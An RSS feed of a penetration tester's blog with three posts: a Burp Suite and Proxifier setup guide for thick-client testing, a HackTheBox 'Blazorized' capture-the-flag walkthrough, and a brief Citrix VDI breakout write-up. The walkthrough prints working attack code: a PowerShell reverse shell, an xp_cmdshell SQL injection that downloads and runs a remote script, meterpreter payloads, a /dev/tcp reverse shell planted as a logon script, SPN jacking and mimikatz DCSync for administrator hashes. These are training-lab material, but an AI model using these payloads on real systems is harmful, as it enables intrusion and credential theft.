<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aniketmohite on Medium]]></title>
        <description><![CDATA[Stories by Aniketmohite on Medium]]></description>
        <link>https://medium.com/@aniketmohite21?source=rss-780423f4a48e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AwghWEB8tThFnCCcjyPQjQ@2x.jpeg</url>
            <title>Stories by Aniketmohite on Medium</title>
            <link>https://medium.com/@aniketmohite21?source=rss-780423f4a48e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:24:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aniketmohite21/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Burp-Suite and Thick Client applications Configuration]]></title>
            <link>https://medium.com/@aniketmohite21/burp-suite-and-thick-client-applications-configuration-6752799dec35?source=rss-780423f4a48e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6752799dec35</guid>
            <category><![CDATA[thick-client-pentesting]]></category>
            <category><![CDATA[traffic-capture]]></category>
            <category><![CDATA[traffic-routing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Aniketmohite]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 07:09:40 GMT</pubDate>
            <atom:updated>2026-06-12T07:09:40.821Z</atom:updated>
            <content:encoded><![CDATA[<p>This Document will provide comprehensive detail on how to configure the BurpSuite tool to capture the thick client application traffic to conduct an Application Security Assessment.</p><p>We will require a host machine proxy tool called Proxifier to route the host machine traffic via Burpsuite. Multiple account container add-on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*jTfAS17YX7jSiaKG" /></figure><h3>Proxifier</h3><p>Proxifier is a widely used networking tool in security testing that enables applications lacking native proxy support to route their TCP traffic through a local interception proxy, such as Burp Suite or OWASP ZAP.</p><p><strong>Steps to install Proxifier.</strong></p><p>Download the Proxifier tool from <a href="https://www.proxifier.com/">https://www.proxifier.com/</a></p><blockquote><strong>Configure Proxifier to route host machine traffic to Burp suite</strong></blockquote><p>§ Create a Proxy Server. Profile → Proxy Server → ADD.</p><p><strong>Server Address</strong>: 127.0.0.1 <strong>Port</strong>:7081 (Burp suite proxy port.) <strong>Type</strong>: HTTPS</p><p><em>Note: Same port and ip should be mentioned in BurpSuite.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7insw4xiJkbqoy0MvTiZng.png" /></figure><p>§ Create a Rule. Profile → Proxification Rules → Add</p><p><strong>Config Rule</strong> →</p><p>1. Name: &lt;Any&gt;</p><p>2. Applications: Click Browse and select the target application</p><p>3. Targets: Any</p><p>4. Action: Proxy</p><p>5. Proxy: Select 127.0.0.1:7081</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*oAzcmWkzgu-wXEtd6hr1PQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*udukVz9eYPPbnas_Wn-VsQ.png" /></figure><h3>Burp Suite configuration</h3><p>Set Burp Proxy. Goto Proxy setting → Add → Bind to port: 7081 → Select Loopback and Save.</p><p>Verify Traffic in BurpSuite.</p><p>1. Open the target application.</p><p>2. Perform any network action (Login, API call, page load)</p><p>3. In Burp history → Goto search → select all</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6752799dec35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox- Blazorized]]></title>
            <link>https://medium.com/@aniketmohite21/hackthebox-blazorized-95a02a44c9cc?source=rss-780423f4a48e------2</link>
            <guid isPermaLink="false">https://medium.com/p/95a02a44c9cc</guid>
            <dc:creator><![CDATA[Aniketmohite]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 13:33:02 GMT</pubDate>
            <atom:updated>2024-08-02T13:33:02.835Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*_VGogBpt-rILJFNxw_YQJw.png" /></figure><p>An exciting hack-the-box machine for beginners wanting for ways to enhance their skill set in Active Directory Domain Controller attacks. An insignificant amount of DLL programming and one of the unusual initial foothold techniques laid out in this box. Let’s start.</p><blockquote><em>Port Scanning and Recon</em></blockquote><pre>#nmap -sS -sV -p- -Pn -A 10.10.11.22 -o blazorized.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WSwJHsy939c9vsATfasoA.png" /><figcaption>Nmap results</figcaption></figure><p>Since port 80 found open, so Update the host file. And open the Web application.</p><pre>#vi /etc/hosts <br>10.10.11.22 blazorized.htb</pre><p>The Blazor framework was used to develop the application, which resulted in the loading of .dll files when accessed via the webapp. Including a .JSON file which exposed some senstive .dll files. Download and decomple them using any tools like JetBrains dotpeek[Important ones are the one which starts blazor….dll ]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aurV79uD2bTxDOlmkaIFrg.png" /><figcaption>Decomplied DLL files.</figcaption></figure><p>Analyse the .dll file to understand the Admin JWT token generation and claim a valid Admin token.</p><p>Look for any login pages in the application and perform Directory listing or subdomain enumeration.</p><pre>#ffuf -u &#39;http://blazorized.htb&#39; -H &#39;host: FUZZ.blazorized,htb&#39; -w /usr/share/wordlists/dirb/big.txt -fc 301,302 -mc all -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtbDPAPuKhtMfOhZ8sZSQQ.png" /></figure><pre>#vi /etc/hosts <br>10.10.11.22 blazorized.htb admin.blazorized.htb<br></pre><p>Analyze the decompiled Blazorized.Helpers dll file to learn how to create a JWT token for both partial and Super Admin access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PSYZWYK0SEz_IcdYaq5VTw.png" /></figure><blockquote><em>Craft a valid JWT token using the above claims and Secret value on </em><a href="http://www.jwt.io/"><em>www.jwt.io/</em></a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*His9XtuBLEdUJ_LiM97LkQ.png" /></figure><p>Browse to admin.blazorized.htb/ Sign in page and Open the DevTools Console. Import the JWT token and refresh the page to login as Super Admin access.</p><pre>localStorage.setitem(&#39;jwt&#39;, &#39;eyJhbGciOiJIUz.....&#39;)</pre><p>Take a look around for a any entry point or suspicious behavior; On “Check duplicate category” page, if we insert a normal string value we get an output but when tried to insert some special characters like ‘ — ‘, ‘+’ or ‘#’ it throws an exception error. We can try and execute Sql injection payloads. Since this is Windows machine MSSQL we will abuse the xp_cmdshell to excute rebound shell.</p><blockquote><em>Create a blazor_PS.ps1 file and host it using a Python server.</em></blockquote><p>Next open a netcat listener to capture the reverse shell.</p><pre>#vi payload.ps1<br>$client = New-Object System.Net.Sockets.TCPClient(&#39;10.10.14.69&#39;,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex &quot;. { $data } 2&gt;&amp;1&quot; | Out-String ); $sendback2 = $sendback + &#39;PS &#39; + (pwd).Path + &#39;&gt; &#39;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()<br><br>#python3 -m http.server 8000<br><br>#nc -lvnp 4444</pre><p>Execute the below SQL payload.</p><pre>EXEC master.dbo.xp_cmdshell &#39;powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C &quot;iex (New-Object Net.WebClient).DownloadString(&#39;&#39;http://10.10.14.69:8000/blazor_PS.ps1&#39;&#39;)&quot;&#39; --</pre><p>We successfully got a reverse shell for user “nu_1055”.</p><p>Now to make things easier lets upgrade the shell to a meterpreter. Create a msfvenom executable file to initiate a reverse meterpreter shell.</p><pre>#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.69 LPORT=5555 -f exe -o blazor.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*aJwTtZamTJaAZg1MCbpfGQ.png" /></figure><p>Run a multi handler payload in msfconsole and run the below Powershell command to call and execute the blazor.exe.</p><pre>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>exploit<br><br>On Victim machine shell. <br>Invoke-WebRequest -Uri &#39;http://10.10.14.69:8000/blazor.exe&#39; -OutFile &#39;C:\Users\nu_1055\desktop\blazor.exe&#39;; Start-Process &#39;C:\Users\nu_1055\desktop\blazor.exe&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGmS0uAujzsk5AB2KbkiCg.png" /></figure><p>Upload the PowerView.ps1 from meterpreter session and load it from shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DQ4_EGt1YAvgsR7K0z0suw.png" /></figure><h4>SPN Jacking Attack</h4><p>A service principal name (SPN) is a unique identifier of a service instance. If the attacker has WriteSPN rights over the account associated with the target SPN, as well as over another computer/service account, the attacker can temporarily hijack the SPN.</p><p>The above user nu_1055 has the writeSPN rights (AceType : AccessAllowedObject), lets initaite the SPN jacking.</p><pre>Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname=&#39;aniket/blazor_app&#39;}<br>Get-DomainSPNTicket -SPN aniket/blazor_app</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r7zqKWEzFiNpRWbpSbd4VQ.png" /></figure><p>We received the TGS ticket. Save the hash value into a .txt file and bruteforce the hash to get the passowrd. [John or hashcat]</p><p><em>RSA_4810’s password : (Ni7856Do9854K****** #)</em></p><p>Now lets login to the user rsa_4810 using evil-winrm.</p><pre>#evil-winrm -u &#39;RSA_4810&#39; -p &#39;(Ni7856Do9854******#)&#39; -i 10.10.11.22</pre><p>Upload Powerview.ps1 and enumerate domain ACLs like above just by changing the user name to ‘rsa_4810’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23690Itig5bIJE7mbcGiZw.png" /></figure><p>After executing the command, it was observed that the Script-Path of SSA_6010 can be changed by RSA_4810.</p><blockquote><em>Lateral Privilege escalation.</em></blockquote><p>Extract the Properties for user SSA_6010 and note down the Netlogon ScriptPath location. This file will get executed when user SSA_6010 will login to the DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zt-6pylF9UuzGE30ba40uQ.png" /></figure><p>Create a revershell .bat file and replace the ScriptPath file for user SS_6010. Open a netcat listener on attacker machine.</p><pre>echo &#39;sh -i &gt;&amp; /dev/tcp/10.10.14.69/9001 0&gt;&amp;1&#39; Out-File -FilePath C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\blazor.bat --Encoding ASCII<br>Set-ADUser -Identity SSA_6010 -ScriptPath &#39;A32FF3AEAA23\blazor.bat&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jRHgMdQLxsXWAUH-skuAnQ.png" /></figure><p>Again upgrade the shell to meterpreter to transfer files.</p><pre>#use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>exploit<br><br>On Victim machine shell. <br>Invoke-WebRequest -Uri &#39;http://10.10.14.69:8000/blazor-6010.exe&#39; -OutFile &#39;C:\Users\ssa_6010\desktop\blazor-6010.exe&#39;; Start-Process &#39;C:\Users\ssa_6010\desktop\blazor-6010.exe&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1OaeXH0DeJy6T_wj9vUJA.png" /></figure><p>Upload mimikatz.exe to user ssa_6010 desktop and run the below command to extract the Administrator information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*ccmZaSmvHVVcbibqTNSN4A.png" /></figure><pre>mimikatz # lsadump::dcsync /user:administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*wS_YJKiZNpz86CJ8HphdmQ.png" /></figure><pre>evil-winrm -i 10.10.11.22 -u Administrator -H &quot;[adminhash]&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTtfOJjMBAxsyqQYSWBqMQ.png" /></figure><p>Pwned.. :) !!!!</p><p>Happy Hacking.!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95a02a44c9cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Citrix VDI breakout abusing Browser Address bar.]]></title>
            <link>https://medium.com/@aniketmohite21/citrix-vdi-breakout-abusing-browser-address-bar-b383e9541c07?source=rss-780423f4a48e------2</link>
            <guid isPermaLink="false">https://medium.com/p/b383e9541c07</guid>
            <category><![CDATA[citrix-vdi-breakout]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[citrix-virtualization]]></category>
            <dc:creator><![CDATA[Aniketmohite]]></dc:creator>
            <pubDate>Sat, 25 May 2024 16:42:39 GMT</pubDate>
            <atom:updated>2024-05-25T16:42:39.442Z</atom:updated>
            <content:encoded><![CDATA[<p>Citrix Workspace app provides instant, secure, and seamless access to all the resources that your end users need to stay productive. Citrix Workspace app includes access to virtual desktops, virtual apps, web and SaaS apps, and features such as embedded browsing, and single sign-on</p><p>A Citrix Breakout Test identifies ways in which a user of your Citrix environment may be able to access functionality on the Citrix server or surrounding systems which they are not intended to access.</p><p>We have multiple ways to bypass or breakout into the Citrix Virtual machine. Below is one of the latest and unusual one.</p><p><strong>Issue Summary</strong> : Abusing the Browser Address bar to save the payload file. Once saved to the drive can be opened to bypass the VDI configuration.</p><p><strong>Steps to Reproduce:</strong></p><ul><li>Open the restricted VDI configuration Browser.</li><li>Type “<strong><em>view-source</em></strong>:” File protocol Handler to view the page source.</li><li>Delete the data and enter the payload in the address bar and press Enter to execute.[Fig no. 1]</li><li>Right Click and save the file with the .<strong>bat</strong> extension.</li><li>Open the file to bypass the restricted application or drive. [Fig no. 2]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8PzbU4WUhzJXzAeIVu8SQ.jpeg" /><figcaption>Fig no. 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExpDQCTRKlSbbxuBOOzwUA.jpeg" /><figcaption>Fig no. 2</figcaption></figure><p>It’s probably obvious by now that these types of environments are very difficult to harden, and even more trickier to harden properly.</p><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b383e9541c07" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>